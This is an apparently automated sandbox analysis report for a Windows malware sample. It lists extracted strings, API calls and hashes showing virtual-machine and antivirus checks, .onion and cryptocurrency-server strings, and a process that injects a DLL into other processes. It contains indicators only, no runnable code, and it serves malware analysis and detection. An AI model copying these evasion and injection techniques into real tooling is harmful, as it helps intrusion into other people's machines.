m->mcache= mallocing= ms clock, nBSSRoots= p->mcache= p->status= pageSize= s.nelems= schedtick= span.list=%!(BADPREC), s.base()=, s.npages=, settings:.WithCancel/api/report/dev/stderr/dev/stdout/index.html30517578125: frame.sp=; Max-Age=0<invalid opBad Gat, xrefs: 004347C4
m->p= next= p->m= prev= span=%s: %s(...), not , val -BEFV--DYOR--FMLD--FZTA--IRXC--JFQI--JQGP--JSKV--JZUF--KGQJ--KSFO--MKND--MOHU--NSFS--PFQJ--PLND--RTMD--VRSM--XQVL-.onion/%d-%d/%d-%s/31340370000390625:31461<-chanAcceptAnswerArabicAugustBasic BitBltBrahmiCA, xrefs: 00434778
releasep: m=remote errorruntime: f= runtime: gp=s ap traffics hs trafficshort buffersignature.%stransmitfileulrichard.chunexpected )unknown portunknown typevmacthlp.exevmtoolsd.exewatchdog.exewinlogon.exewintrust.dllwirep: p->m=wtsapi32.dll != sweepgen (defau, xrefs: 00434756

Memory Dump Source

Source File: 00000008.00000002.347779189.0000000000401000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.347769893.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000008.00000002.349015905.00000000009FB000.00000040.00020000.sdmp Download File
Associated: 00000008.00000002.349179433.0000000000A5B000.00000040.00020000.sdmp Download File
Associated: 00000008.00000002.350279294.0000000000C53000.00000040.00020000.sdmp Download File
Associated: 00000008.00000002.350292388.0000000000C57000.00000040.00020000.sdmp Download File
Associated: 00000008.00000002.350499587.0000000000CAA000.00000040.00020000.sdmp Download File
Associated: 00000008.00000002.350524175.0000000000CB8000.00000040.00020000.sdmp Download File
Associated: 00000008.00000002.350533641.0000000000CBB000.00000040.00020000.sdmp Download File
Associated: 00000008.00000002.350548757.0000000000CBD000.00000040.00020000.sdmp Download File
Associated: 00000008.00000002.350559531.0000000000CBF000.00000040.00020000.sdmp Download File
Associated: 00000008.00000002.350571700.0000000000CC0000.00000080.00020000.sdmp Download File
Associated: 00000008.00000002.350578851.0000000000CC1000.00000004.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID: m->mcache= mallocing= ms clock, nBSSRoots= p->mcache= p->status= pageSize= s.nelems= schedtick= span.list=%!(BADPREC), s.base()=, s.npages=, settings:.WithCancel/api/report/dev/stderr/dev/stdout/index.html30517578125: frame.sp=; Max-Age=0<invalid opBad Gat$ m->p= next= p->m= prev= span=%s: %s(...), not , val -BEFV--DYOR--FMLD--FZTA--IRXC--JFQI--JQGP--JSKV--JZUF--KGQJ--KSFO--MKND--MOHU--NSFS--PFQJ--PLND--RTMD--VRSM--XQVL-.onion/%d-%d/%d-%s/31340370000390625:31461<-chanAcceptAnswerArabicAugustBasic BitBltBrahmiCA$releasep: invalid argruntime: confused by runtime: newstack at runtime: newstack sp=runtime: work.nwait= sequence tag mismatchstale NFS file handlestartlockedm: m has pstartm: m is spinningstate not recoverablestopg: invalid statustoo many coefficientstrace/br$releasep: m=remote errorruntime: f= runtime: gp=s ap traffics hs trafficshort buffersignature.%stransmitfileulrichard.chunexpected )unknown portunknown typevmacthlp.exevmtoolsd.exewatchdog.exewinlogon.exewintrust.dllwirep: p->m=wtsapi32.dll != sweepgen (defau
API String ID: 0-626581767
Opcode ID: 4287dbe8e894c14b7b162e2ea492575a0ac3cadeebb407704c65a5693989bf62
Instruction ID: 0ae21cd2affb92439e9d6b24f9167d9253c8ca15ed842762288491891e5b1343
Opcode Fuzzy Hash: 4287dbe8e894c14b7b162e2ea492575a0ac3cadeebb407704c65a5693989bf62
Instruction Fuzzy Hash: 9251D4B4608705CFD344EF65D18575EBBE0BF88308F81896EE88887312D7799845CFA6

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: csrss.exe PID: 464 Parent PID: 1304 csrss.exeCOMMON

Executed Functions

Non-executed Functions

Function 00428B10, Relevance: 7.6, Strings: 6, Instructions: 106COMMON

Download Yara Rule

Strings

", xrefs: 00428CF9
runtime: VirtualQuery failed; errno=runtime: bad notifyList size - sync=runtime: inconsistent write deadlineruntime: invalid pc-encoded table f=runtime: invalid typeBitsBulkBarrierruntime: mcall called on m->g0 stackruntime: sudog with non-nil waitlinkruntime:, xrefs: 00428CBC
,-./01456:;<=>?@BCLMNOPSZ["\, xrefs: 00428C50
runtime: g0 stack [runtime: insert t= runtime: pcdata is runtime: preempt g0semaRoot rotateLeftskip this directorystopm holding lockssync.Cond is copiedtime: unknown unit too many open filesunexpected InstFailunexpected data: %vunknown Go type: %vunknown certi, xrefs: 00428C26
VirtualQuery for stack base failedadding nil Certificate to CertPoolcouldn't create a new cipher blockcouldn't delete an exclusion valuecrypto/aes: invalid buffer overlapcrypto/des: invalid buffer overlapcrypto/rc4: invalid buffer overlapcrypto/rsa: missing pu, xrefs: 00428CF0
bad g0 stackbad recoverybootmgfw.efibuild_numberc ap trafficc hs trafficcaller errorcan't happencas64 failedcdn is emptychan receiveclose notifycontent-typecontext.TODOdse disableddumping heapelectrumx.mlend tracegcentersyscallexit status found av: %sgcpacert, xrefs: 00428C95

Memory Dump Source

Source File: 0000000B.00000002.561114927.0000000000401000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.561078839.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.563763292.00000000009FB000.00000040.00020000.sdmp Download File
Associated: 0000000B.00000002.564142562.0000000000A5B000.00000040.00020000.sdmp Download File
Associated: 0000000B.00000002.565466159.0000000000C53000.00000040.00020000.sdmp Download File
Associated: 0000000B.00000002.565483250.0000000000C57000.00000040.00020000.sdmp Download File
Associated: 0000000B.00000002.565639229.0000000000CAA000.00000040.00020000.sdmp Download File
Associated: 0000000B.00000002.565664900.0000000000CB8000.00000040.00020000.sdmp Download File
Associated: 0000000B.00000002.565685578.0000000000CBB000.00000040.00020000.sdmp Download File
Associated: 0000000B.00000002.565705148.0000000000CBD000.00000040.00020000.sdmp Download File
Associated: 0000000B.00000002.565717404.0000000000CBF000.00000040.00020000.sdmp Download File
Associated: 0000000B.00000002.565740235.0000000000CC0000.00000080.00020000.sdmp Download File
Associated: 0000000B.00000002.565779048.0000000000CC1000.00000004.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID: "$,-./01456:;<=>?@BCLMNOPSZ["\$VirtualQuery for stack base failedadding nil Certificate to CertPoolcouldn't create a new cipher blockcouldn't delete an exclusion valuecrypto/aes: invalid buffer overlapcrypto/des: invalid buffer overlapcrypto/rc4: invalid buffer overlapcrypto/rsa: missing pu$bad g0 stackbad recoverybootmgfw.efibuild_numberc ap trafficc hs trafficcaller errorcan't happencas64 failedcdn is emptychan receiveclose notifycontent-typecontext.TODOdse disableddumping heapelectrumx.mlend tracegcentersyscallexit status found av: %sgcpacert$runtime: VirtualQuery failed; errno=runtime: bad notifyList size - sync=runtime: inconsistent write deadlineruntime: invalid pc-encoded table f=runtime: invalid typeBitsBulkBarrierruntime: mcall called on m->g0 stackruntime: sudog with non-nil waitlinkruntime:$runtime: g0 stack [runtime: insert t= runtime: pcdata is runtime: preempt g0semaRoot rotateLeftskip this directorystopm holding lockssync.Cond is copiedtime: unknown unit too many open filesunexpected InstFailunexpected data: %vunknown Go type: %vunknown certi
API String ID: 0-2405844374
Opcode ID: f52dded44c5bfb184fc76bd5f06ccdb749f621fea199d5de2af8de05bec7e351
Instruction ID: 602d0d954225419760eac9a183926c9f5c22208bff9d0adb6c0c5b0f89df24a9
Opcode Fuzzy Hash: f52dded44c5bfb184fc76bd5f06ccdb749f621fea199d5de2af8de05bec7e351
Instruction Fuzzy Hash: F251F8B46097158FD340EF65D18575EBBE0FF88708F80892EE48887352DB389949DB96

Uniqueness

Uniqueness Score: -1.00%

Function 00434690, Relevance: 5.1, Strings: 4, Instructions: 106COMMON

Download Yara Rule

Strings

m->mcache= mallocing= ms clock, nBSSRoots= p->mcache= p->status= pageSize= s.nelems= schedtick= span.list=%!(BADPREC), s.base()=, s.npages=, settings:.WithCancel/api/report/dev/stderr/dev/stdout/index.html30517578125: frame.sp=; Max-Age=0<invalid opBad Gat, xrefs: 004347C4
releasep: m=remote errorruntime: f= runtime: gp=s ap traffics hs trafficshort buffersignature.%stransmitfileulrichard.chunexpected )unknown portunknown typevmacthlp.exevmtoolsd.exewatchdog.exewinlogon.exewintrust.dllwirep: p->m=wtsapi32.dll != sweepgen (defau, xrefs: 00434756
m->p= next= p->m= prev= span=%s: %s(...), not , val -BEFV--DYOR--FMLD--FZTA--IRXC--JFQI--JQGP--JSKV--JZUF--KGQJ--KSFO--MKND--MOHU--NSFS--PFQJ--PLND--RTMD--VRSM--XQVL-.onion/%d-%d/%d-%s/31340370000390625:31461<-chanAcceptAnswerArabicAugustBasic BitBltBrahmiCA, xrefs: 00434778
releasep: invalid argruntime: confused by runtime: newstack at runtime: newstack sp=runtime: work.nwait= sequence tag mismatchstale NFS file handlestartlockedm: m has pstartm: m is spinningstate not recoverablestopg: invalid statustoo many coefficientstrace/br, xrefs: 00434852

Memory Dump Source

Source File: 0000000B.00000002.561114927.0000000000401000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.561078839.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.563763292.00000000009FB000.00000040.00020000.sdmp Download File
Associated: 0000000B.00000002.564142562.0000000000A5B000.00000040.00020000.sdmp Download File
Associated: 0000000B.00000002.565466159.0000000000C53000.00000040.00020000.sdmp Download File
Associated: 0000000B.00000002.565483250.0000000000C57000.00000040.00020000.sdmp Download File
Associated: 0000000B.00000002.565639229.0000000000CAA000.00000040.00020000.sdmp Download File
Associated: 0000000B.00000002.565664900.0000000000CB8000.00000040.00020000.sdmp Download File
Associated: 0000000B.00000002.565685578.0000000000CBB000.00000040.00020000.sdmp Download File
Associated: 0000000B.00000002.565705148.0000000000CBD000.00000040.00020000.sdmp Download File
Associated: 0000000B.00000002.565717404.0000000000CBF000.00000040.00020000.sdmp Download File
Associated: 0000000B.00000002.565740235.0000000000CC0000.00000080.00020000.sdmp Download File
Associated: 0000000B.00000002.565779048.0000000000CC1000.00000004.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID: m->mcache= mallocing= ms clock, nBSSRoots= p->mcache= p->status= pageSize= s.nelems= schedtick= span.list=%!(BADPREC), s.base()=, s.npages=, settings:.WithCancel/api/report/dev/stderr/dev/stdout/index.html30517578125: frame.sp=; Max-Age=0<invalid opBad Gat$ m->p= next= p->m= prev= span=%s: %s(...), not , val -BEFV--DYOR--FMLD--FZTA--IRXC--JFQI--JQGP--JSKV--JZUF--KGQJ--KSFO--MKND--MOHU--NSFS--PFQJ--PLND--RTMD--VRSM--XQVL-.onion/%d-%d/%d-%s/31340370000390625:31461<-chanAcceptAnswerArabicAugustBasic BitBltBrahmiCA$releasep: invalid argruntime: confused by runtime: newstack at runtime: newstack sp=runtime: work.nwait= sequence tag mismatchstale NFS file handlestartlockedm: m has pstartm: m is spinningstate not recoverablestopg: invalid statustoo many coefficientstrace/br$releasep: m=remote errorruntime: f= runtime: gp=s ap traffics hs trafficshort buffersignature.%stransmitfileulrichard.chunexpected )unknown portunknown typevmacthlp.exevmtoolsd.exewatchdog.exewinlogon.exewintrust.dllwirep: p->m=wtsapi32.dll != sweepgen (defau
API String ID: 0-626581767
Opcode ID: 4287dbe8e894c14b7b162e2ea492575a0ac3cadeebb407704c65a5693989bf62
Instruction ID: 0ae21cd2affb92439e9d6b24f9167d9253c8ca15ed842762288491891e5b1343
Opcode Fuzzy Hash: 4287dbe8e894c14b7b162e2ea492575a0ac3cadeebb407704c65a5693989bf62
Instruction Fuzzy Hash: 9251D4B4608705CFD344EF65D18575EBBE0BF88308F81896EE88887312D7799845CFA6

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: injector.exe PID: 6592 Parent PID: 464 injector.exeCOMMON

Executed Functions

Function 00007FF7019B27F0, Relevance: 56.3, APIs: 20, Strings: 12, Instructions: 258processsynchronizationCOMMON

Download Yara Rule

APIs

CreateMutexW.KERNELBASE ref: 00007FF7019B2832
SleepEx.KERNEL32 ref: 00007FF7019B2895
CreateToolhelp32Snapshot.KERNEL32 ref: 00007FF7019B28A3
Process32FirstW.KERNEL32 ref: 00007FF7019B28C2
CloseHandle.KERNEL32 ref: 00007FF7019B28CF
GetLastError.KERNEL32 ref: 00007FF7019B291B
SetLastError.KERNEL32 ref: 00007FF7019B2936
OpenProcess.KERNEL32 ref: 00007FF7019B2A08
GetLastError.KERNEL32 ref: 00007FF7019B2A16

Strings

ID: , xrefs: 00007FF7019B29E0
injected, xrefs: 00007FF7019B2AFE
process name: , xrefs: 00007FF7019B2840
) terminated, xrefs: 00007FF7019B2BA3
failed to open process: , xrefs: 00007FF7019B2A1E
not enough arguments, xrefs: 00007FF7019B2BBC
failed to inject DLL: , xrefs: 00007FF7019B2ADF
Global\qtxp9g8w, xrefs: 00007FF7019B2827
, (pid: , xrefs: 00007FF7019B2B8A
process , xrefs: 00007FF7019B29BF, 00007FF7019B2B69
DLL filename: , xrefs: 00007FF7019B2866
failed to wait for an object: , xrefs: 00007FF7019B2B2D

Memory Dump Source

Source File: 00000024.00000002.561301922.00007FF7019B1000.00000020.00020000.sdmp, Offset: 00007FF7019B0000, based on PE: true

Associated: 00000024.00000002.561282629.00007FF7019B0000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561384565.00007FF7019DF000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561406725.00007FF7019F3000.00000004.00020000.sdmp Download File
Associated: 00000024.00000002.561419952.00007FF7019F6000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast$Create$CloseFirstHandleMutexOpenProcessProcess32SleepSnapshotToolhelp32
String ID: ID: $) terminated$, (pid: $DLL filename: $Global\qtxp9g8w$failed to inject DLL: $failed to open process: $failed to wait for an object: $injected$not enough arguments$process $process name:
API String ID: 1655518464-3362440526
Opcode ID: 4ec870b7cc9839d29a84b9546a5fc2a67d000556f857800a724944f9f4776f83
Instruction ID: 61da48272501cefc3874979f8d4729ad117cbf8617db6ee5be45dc81764478e0
Opcode Fuzzy Hash: 4ec870b7cc9839d29a84b9546a5fc2a67d000556f857800a724944f9f4776f83
Instruction Fuzzy Hash: 24B17D20A2D68381EB14FB66ED991BAA390EF85B9CF848135D90F473D5DFBCE5058360

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7019BD8BC, Relevance: 3.0, APIs: 2, Instructions: 18COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNELBASE ref: 00007FF7019BD8C5
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7019CD4C0

Memory Dump Source

Source File: 00000024.00000002.561301922.00007FF7019B1000.00000020.00020000.sdmp, Offset: 00007FF7019B0000, based on PE: true

Associated: 00000024.00000002.561282629.00007FF7019B0000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561384565.00007FF7019DF000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561406725.00007FF7019F3000.00000004.00020000.sdmp Download File
Associated: 00000024.00000002.561419952.00007FF7019F6000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionFilterUnhandled_invalid_parameter_noinfo
String ID:
API String ID: 59578552-0
Opcode ID: 72b3a8404d0a84c89e3a6d66c54a9fe62843eebc84389721f4a6ca630a818792
Instruction ID: 2bd12ba18d6dd6352a2649623337306e6e7ef019dd4a1a99d5bcb9cf9ae7071c
Opcode Fuzzy Hash: 72b3a8404d0a84c89e3a6d66c54a9fe62843eebc84389721f4a6ca630a818792
Instruction Fuzzy Hash: 4AE0BF20E7E1C281F71877A55C820BDA1901F48728FD10235E26D412C2CFDC75918E71

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7019D31B0, Relevance: 7.7, APIs: 5, Instructions: 203COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7019D31F1
GetConsoleMode.KERNEL32(?,?,?,?,?,?,?,?,FFFFFFFE,?,?,00007FF7019D316F,?,?,FFFFFFFE,00007FF7019D2196), ref: 00007FF7019D32B0
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,FFFFFFFE,?,?,00007FF7019D316F,?,?,FFFFFFFE,00007FF7019D2196), ref: 00007FF7019D3330

Memory Dump Source

Source File: 00000024.00000002.561301922.00007FF7019B1000.00000020.00020000.sdmp, Offset: 00007FF7019B0000, based on PE: true

Associated: 00000024.00000002.561282629.00007FF7019B0000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561384565.00007FF7019DF000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561406725.00007FF7019F3000.00000004.00020000.sdmp Download File
Associated: 00000024.00000002.561419952.00007FF7019F6000.00000002.00020000.sdmp Download File

Similarity

API ID: ConsoleErrorLastMode_invalid_parameter_noinfo
String ID:
API String ID: 2210144848-0
Opcode ID: 26715ff7cc39d96f6d37d079edff232458c65da7b58ef50fd20d28b75933661f
Instruction ID: 25e1033f1161eaa9c60ee1ed7c6f675d1702ecb0307680d7e76e61fed37f3702
Opcode Fuzzy Hash: 26715ff7cc39d96f6d37d079edff232458c65da7b58ef50fd20d28b75933661f
Instruction Fuzzy Hash: 0781BD62A3868289F710BF659D482BDE6A0BF44B9DFC44136DA0E53791DFBCA641C331

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7019D11E4, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 50COMMON

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 00007FF7019D121D
LCMapStringEx.KERNELBASE ref: 00007FF7019D1271
LCMapStringW.KERNEL32 ref: 00007FF7019D12A5

Strings

LCMapStringEx, xrefs: 00007FF7019D1200, 00007FF7019D1211

Memory Dump Source

Source File: 00000024.00000002.561301922.00007FF7019B1000.00000020.00020000.sdmp, Offset: 00007FF7019B0000, based on PE: true

Associated: 00000024.00000002.561282629.00007FF7019B0000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561384565.00007FF7019DF000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561406725.00007FF7019F3000.00000004.00020000.sdmp Download File
Associated: 00000024.00000002.561419952.00007FF7019F6000.00000002.00020000.sdmp Download File

Similarity

API ID: String$try_get_function
String ID: LCMapStringEx
API String ID: 1203122356-3893581201
Opcode ID: 05fa366c2c50fcaac7f6a3aea4bc55e8ad76e5a7ce2bd5e93f4c74efa4b9c7c3
Instruction ID: 6e217c797b6c54038a659a2223a40daacd28938a209b70c78ef1e35393487705
Opcode Fuzzy Hash: 05fa366c2c50fcaac7f6a3aea4bc55e8ad76e5a7ce2bd5e93f4c74efa4b9c7c3
Instruction Fuzzy Hash: 55112C3661CBC186D7609B46F8402AAB7A4FB89B98F544136EB8D83B59CF3CD4408B00

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7019BD8D8, Relevance: 6.1, APIs: 4, Instructions: 94COMMON

Download Yara Rule

APIs

__scrt_initialize_crt.LIBCMT ref: 00007FF7019BD8EC

Part of subcall function 00007FF7019BDAA4: __scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF7019BDAC6

__scrt_acquire_startup_lock.LIBCMT ref: 00007FF7019BD901
__scrt_release_startup_lock.LIBCMT ref: 00007FF7019BD96F
__scrt_is_managed_app.LIBCMT ref: 00007FF7019BD9E6

Memory Dump Source

Source File: 00000024.00000002.561301922.00007FF7019B1000.00000020.00020000.sdmp, Offset: 00007FF7019B0000, based on PE: true

Associated: 00000024.00000002.561282629.00007FF7019B0000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561384565.00007FF7019DF000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561406725.00007FF7019F3000.00000004.00020000.sdmp Download File
Associated: 00000024.00000002.561419952.00007FF7019F6000.00000002.00020000.sdmp Download File

Similarity

API ID: __scrt_acquire_startup_lock__scrt_dllmain_crt_thread_attach__scrt_initialize_crt__scrt_is_managed_app__scrt_release_startup_lock
String ID:
API String ID: 1321466686-0
Opcode ID: b36c17e84833c21c762e081d6501b26afe2fad55a0ffcd1e741a5b10ca06fde9
Instruction ID: 2dcbd1add2f6cf1d3297174a7e301440a53a6d480a964b7084bc9468b4e08215
Opcode Fuzzy Hash: b36c17e84833c21c762e081d6501b26afe2fad55a0ffcd1e741a5b10ca06fde9
Instruction Fuzzy Hash: A3311921A2D1C342FB14FB659E963B9A291AF4578CFC44038E98E172D7DFADA8058721

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7019D643C, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32 ref: 00007FF7019D647E

Strings

, xrefs: 00007FF7019D64C3

Memory Dump Source

Source File: 00000024.00000002.561301922.00007FF7019B1000.00000020.00020000.sdmp, Offset: 00007FF7019B0000, based on PE: true

Associated: 00000024.00000002.561282629.00007FF7019B0000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561384565.00007FF7019DF000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561406725.00007FF7019F3000.00000004.00020000.sdmp Download File
Associated: 00000024.00000002.561419952.00007FF7019F6000.00000002.00020000.sdmp Download File

Similarity

API ID: Info
String ID:
API String ID: 1807457897-3916222277
Opcode ID: 116468216eb2aa1a53ccbbaba1d54fe37ab03232ed46faac14ba305c4149df92
Instruction ID: ff5a45acab52ffb99b9bc209611e124e20276dc032d3ebc01e5267f28951d86c
Opcode Fuzzy Hash: 116468216eb2aa1a53ccbbaba1d54fe37ab03232ed46faac14ba305c4149df92
Instruction Fuzzy Hash: 0C51D732A2C6D186E710DF28D4483ADBBA0FB44B4CF944135E68D47A89CFBCD545CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7019D6918, Relevance: 3.2, APIs: 2, Instructions: 194COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7019D632C: GetOEMCP.KERNEL32 ref: 00007FF7019D6356

IsValidCodePage.KERNEL32(?,?,?,?,00000000,?,?,00007FF7019D6703), ref: 00007FF7019D6983
GetCPInfo.KERNEL32(?,?,?,?,00000000,?,?,00007FF7019D6703), ref: 00007FF7019D69CF

Memory Dump Source

Source File: 00000024.00000002.561301922.00007FF7019B1000.00000020.00020000.sdmp, Offset: 00007FF7019B0000, based on PE: true

Associated: 00000024.00000002.561282629.00007FF7019B0000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561384565.00007FF7019DF000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561406725.00007FF7019F3000.00000004.00020000.sdmp Download File
Associated: 00000024.00000002.561419952.00007FF7019F6000.00000002.00020000.sdmp Download File

Similarity

API ID: CodeInfoPageValid
String ID:
API String ID: 546120528-0
Opcode ID: 3ff8ca631ef86ca6f5c2971fb809097506687484789c91c91567844e6540621b
Instruction ID: eb49a37a627e8468a3bd46b1dad89e4095b9f31db20edcf820bc3e06ead1e8a1
Opcode Fuzzy Hash: 3ff8ca631ef86ca6f5c2971fb809097506687484789c91c91567844e6540621b
Instruction Fuzzy Hash: 2C81E663A2C2C255F765AF26EC48179FBA1AF44748FC88036C68E07690DFBDF9458321

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7019D2D34, Relevance: 3.1, APIs: 2, Instructions: 74fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE ref: 00007FF7019D2DE7
GetLastError.KERNEL32 ref: 00007FF7019D2E03

Memory Dump Source

Source File: 00000024.00000002.561301922.00007FF7019B1000.00000020.00020000.sdmp, Offset: 00007FF7019B0000, based on PE: true

Associated: 00000024.00000002.561282629.00007FF7019B0000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561384565.00007FF7019DF000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561406725.00007FF7019F3000.00000004.00020000.sdmp Download File
Associated: 00000024.00000002.561419952.00007FF7019F6000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorFileLastWrite
String ID:
API String ID: 442123175-0
Opcode ID: 2159cee63f332e5b4ef3014310ffb607f38b8ad07de57b11d7bdfdf344f7b23a
Instruction ID: 5f9ed45e6bcec316c2659b0d85713eb36385538f42f3a52d247977ad87f3ad72
Opcode Fuzzy Hash: 2159cee63f332e5b4ef3014310ffb607f38b8ad07de57b11d7bdfdf344f7b23a
Instruction Fuzzy Hash: 8831F732628AC186D710AF15E9842E9B7A0FF58788F844036EB4E83715DF7CD416C720

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7019CFE48, Relevance: 3.1, APIs: 2, Instructions: 73COMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32 ref: 00007FF7019CFEC1
GetFileType.KERNELBASE ref: 00007FF7019CFED7

Memory Dump Source

Source File: 00000024.00000002.561301922.00007FF7019B1000.00000020.00020000.sdmp, Offset: 00007FF7019B0000, based on PE: true

Associated: 00000024.00000002.561282629.00007FF7019B0000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561384565.00007FF7019DF000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561406725.00007FF7019F3000.00000004.00020000.sdmp Download File
Associated: 00000024.00000002.561419952.00007FF7019F6000.00000002.00020000.sdmp Download File

Similarity

API ID: FileHandleType
String ID:
API String ID: 3000768030-0
Opcode ID: beb213435944418b0a7098a92ff191e542922997e08339a2c1c5f459433f9161
Instruction ID: d0ff5193823c199cda4455c13bd8ff32325925a5617e8befde8da66355d02f95
Opcode Fuzzy Hash: beb213435944418b0a7098a92ff191e542922997e08339a2c1c5f459433f9161
Instruction Fuzzy Hash: 0F31B622A38B8781EB24AB148850078AA51FF45BB8FE50339DBAE073D1CF78F451C750

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7019BD7F4, Relevance: 3.1, APIs: 2, Instructions: 55COMMON

Download Yara Rule

APIs

_set_fmode.LIBCMT ref: 00007FF7019BD80B
_RTC_Initialize.LIBCMT ref: 00007FF7019BD82C

Part of subcall function 00007FF7019CB284: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7019CB2B6

Memory Dump Source

Source File: 00000024.00000002.561301922.00007FF7019B1000.00000020.00020000.sdmp, Offset: 00007FF7019B0000, based on PE: true

Associated: 00000024.00000002.561282629.00007FF7019B0000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561384565.00007FF7019DF000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561406725.00007FF7019F3000.00000004.00020000.sdmp Download File
Associated: 00000024.00000002.561419952.00007FF7019F6000.00000002.00020000.sdmp Download File

Similarity

API ID: Initialize_invalid_parameter_noinfo_set_fmode
String ID:
API String ID: 3548387204-0
Opcode ID: beeffec749e308ffe16c81bd6835906fce2e0c19b55cd94a619cec8060cc76ba
Instruction ID: e440e39c95c39cc080191f099c513b0d8bf39cb755de48a3c3a3af2bae8bf218
Opcode Fuzzy Hash: beeffec749e308ffe16c81bd6835906fce2e0c19b55cd94a619cec8060cc76ba
Instruction Fuzzy Hash: 1E119C20E3918641FB68B7F14ED62F8A2855F9434CFD40434EA9E562C7EFDDB8418672

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7019D6BD4, Relevance: 3.0, APIs: 2, Instructions: 46COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNELBASE(?,?,00000000,00007FF7019CB426,?,?,?,00007FF7019CB756,?,?,?,?,00007FF7019BD9C7), ref: 00007FF7019D6BE8
FreeEnvironmentStringsW.KERNEL32(?,?,00000000,00007FF7019CB426,?,?,?,00007FF7019CB756,?,?,?,?,00007FF7019BD9C7), ref: 00007FF7019D6C55

Memory Dump Source

Source File: 00000024.00000002.561301922.00007FF7019B1000.00000020.00020000.sdmp, Offset: 00007FF7019B0000, based on PE: true

Associated: 00000024.00000002.561282629.00007FF7019B0000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561384565.00007FF7019DF000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561406725.00007FF7019F3000.00000004.00020000.sdmp Download File
Associated: 00000024.00000002.561419952.00007FF7019F6000.00000002.00020000.sdmp Download File

Similarity

API ID: EnvironmentStrings$Free
String ID:
API String ID: 3328510275-0
Opcode ID: f3b4e8fa6f374aedebf4be775062589700bbe60ef5d21c987c82f8d63f2b11fc
Instruction ID: 10198b06bd4ac87a47389139763632e32080e32cb0f01f8128e65a5b60827d7a
Opcode Fuzzy Hash: f3b4e8fa6f374aedebf4be775062589700bbe60ef5d21c987c82f8d63f2b11fc
Instruction Fuzzy Hash: D901A511E246D189DF25FF256C480AAA660EF14BE4FCC8234EF6E077C5DF6CE4418610

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7019D30C4, Relevance: 1.6, APIs: 1, Instructions: 67COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.561301922.00007FF7019B1000.00000020.00020000.sdmp, Offset: 00007FF7019B0000, based on PE: true

Associated: 00000024.00000002.561282629.00007FF7019B0000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561384565.00007FF7019DF000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561406725.00007FF7019F3000.00000004.00020000.sdmp Download File
Associated: 00000024.00000002.561419952.00007FF7019F6000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 92a02608e7d5cc3b1a72d0863b405d3436dfc242bcde27ac4506125b857c04a8
Instruction ID: 03e9e85edb7b7d856a4cbf38bf4d27362aae56d222f626b24e52a0be7f80ea23
Opcode Fuzzy Hash: 92a02608e7d5cc3b1a72d0863b405d3436dfc242bcde27ac4506125b857c04a8
Instruction Fuzzy Hash: D321DE62A282C286F301BF619C48339A660BF807A9FD64535E95D073D2CFBCE5818B21

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7019D71C4, Relevance: 1.5, APIs: 1, Instructions: 47COMMON

